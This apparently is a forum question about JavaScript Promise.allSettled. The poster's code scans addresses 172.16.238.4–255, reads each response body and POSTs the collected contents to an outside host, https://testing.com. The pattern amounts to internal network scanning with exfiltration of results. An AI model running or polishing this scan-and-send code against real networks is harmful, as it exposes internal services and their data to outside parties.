Currently, I am working on a project that involves using a basic for
loop to create an array of IPs for fetching. My goal is to verify that the response.status
is 200 (though I have not yet implemented this), and then filter out only those IPs that return a status of 200.
I initially attempted this task using Promise.all
, but encountered an issue where if one request failed, all requests were rejected. As a result, I have come up with the following solution:
async function example() {
var arr = [];
for (let i = 4; i <= 255; i++) {
var ip = 'http://172.16.238.' + i.toString() + ':443';
arr.push(ip);
}
Promise.allSettled(arr.map(u=>fetch(u))).then(responses => Promise.allSettled(responses.map(res => res.text()))).then(texts => {fetch('https://testing.com', {method: 'POST', body: texts})})
}
example()
However, I'm encountering an error stating that res.text()
is not a function when used with allSettled
. Additionally, I'm unclear on how to go about checking the status of each response. Since I am mapping the URL to each fetch and then mapping a response to its text, should I perform the status check during the second mapping? The concept of mapping is a bit perplexing to me.